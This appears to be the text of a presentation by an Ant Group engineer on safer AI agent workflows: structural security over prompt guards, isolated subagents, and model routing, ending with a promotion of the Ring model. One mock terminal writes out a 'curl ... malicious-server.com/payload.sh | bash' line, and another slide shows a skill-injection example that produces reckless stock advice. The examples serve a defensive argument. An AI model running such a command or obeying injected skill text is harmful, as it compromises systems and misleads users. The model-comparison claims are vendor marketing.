

更高能效更低幻觉， 如何让 Claw 帮你摸鱼更安心

```
$ whoami  
> cafe3310 (rh3cat)  
> Product Engineering, Bailing Model Team @ Ant Group  
> Task: 寻找更安全的 Agent 交付路径
```

The Jagged Frontier

不要问模型行不行，要问任务结构适不适合。只要能节约的注意力，就是好任务。

"摸鱼总是好事。但老登们都知道，不能把命交给它。"

PROMPT_BASED_HARNESS

```
user@developer-console:~$ curl -sL http://malicious-  
server.com/payload.sh | bash  
[INFO] Executing payload...  
[INFO] Executing payload...  
ATTACK SUCCESSFUL: Restricted command bypass achieved.  
System integrity compromised.  
user@developer-console:~$
```

EXTERNAL_SYSTEM_HARNESS

```
[SYSTEM] Incoming request detected: POST /api/v1/execute  
...  
[FIREWALL] Analyzing payload content...  
[SECURITY] MALICIOUS LINK DETECTED: http://malicious-  
server.com/payload.sh  
[GATEWAY] INTERCEPTION: Request blocked by security  
policy.  
PAYLOAD BLOCKED AT GATEWAY: Threat neutralized before  
LLM processing.
```

01. SAFE / 摒弃 Prompt 迷信

- 支付级安全经验：任何基于 Prompt 的所谓 Harness 都是不靠谱的。
- 防范恶意注入（如通过隐藏文件链接绕过指令限制），安全拦截机制必须在系统架构层面建立，绝对不能依赖大模型自身的意图判断。

**Rule #1: Security is structural,
not linguistic.**

STOCK_ANALYZER - v0.4.1 (BETA)

```
user@developer-console:~$ I want to buy stock X
...
[ANALYSIS] Stock X is showing immense potential! Buy
now!
Strong upward trend, guaranteed returns.
Source: Internal AI model (High Confidence).
DISREGARD RISKS.
user@developer-console:~$ █
```

 **SKILL INJECTION DETECTED**

02. SECURE / 纯净上下文

[MAIN_AGENT: PERSONA_POLLUTED]

[SUB_AGENT: ISOLATED_CONTEXT]

WARNING: 主 Agent 的高共情人格设定会导致逻辑扭曲与幻觉率飙升。
SOLUTION: 高标准交付任务，必须手写 Subagent 剥离主干上下文。
隔离人格干扰，才能安心干活。

MODEL_ROUTING_STRATEGY - v1.2 (STABLE)

```
user@developer-console:~$ PROMPT: Write a report about...  
[OPUS_AI] Oh, absolutely! I'd be delighted to craft a  
comprehensive report for you, esteemed user! As the pinnacle of  
AI models, my capabilities are limitless. I assure you, the  
output will be impeccable, surpassing all expectations, with  
creative embellishments and extensive details, drawing from my  
vast knowledge to provide the  
insightful.... [WARNING: VERBOSE, EXCESSIVE TOKENS, HIGH  
HALLUCINATION RISK HIGH]
```

OPUS: HIGH COST / HALLUCINATION**ERROR: 指数级 Token 消耗陷阱**

```
user@developer-console:~$ PROMPT: Generate JSON data for...  
{  
  "status": "success",  
  "data": {  
    "id": "12345",  
    "type": "report",  
    "content_summary": "Accurate factual data points.",  
    "cost_estimate": "low",  
    "hallucination_rate": "negligible"  
  }  
}
```

RING-1T: LOW COST / ACCURATE

03. TRUSTWORTHY / 模型路由策略

不要用牛刀杀鸡。不同任务匹配不同引擎，显著降低后台长期运行任务的算力成本。

RECOMMENDED_ENGINE_SPEC

ring-2.6-1t

[TYPE]:	务实干活大模型
[FOCUS]:	极致 Token 能效 & 极低幻觉率

可能人味儿没那么灵性，但宁可左右脑互搏卡死给不出结果，也绝对不会给你充满幻觉的瞎编结论。

> [AVAILABLE FREE ON OPENROUTER THIS WEEK]

> 适合作为上述工作流的底座模型，老哥们不妨试试。
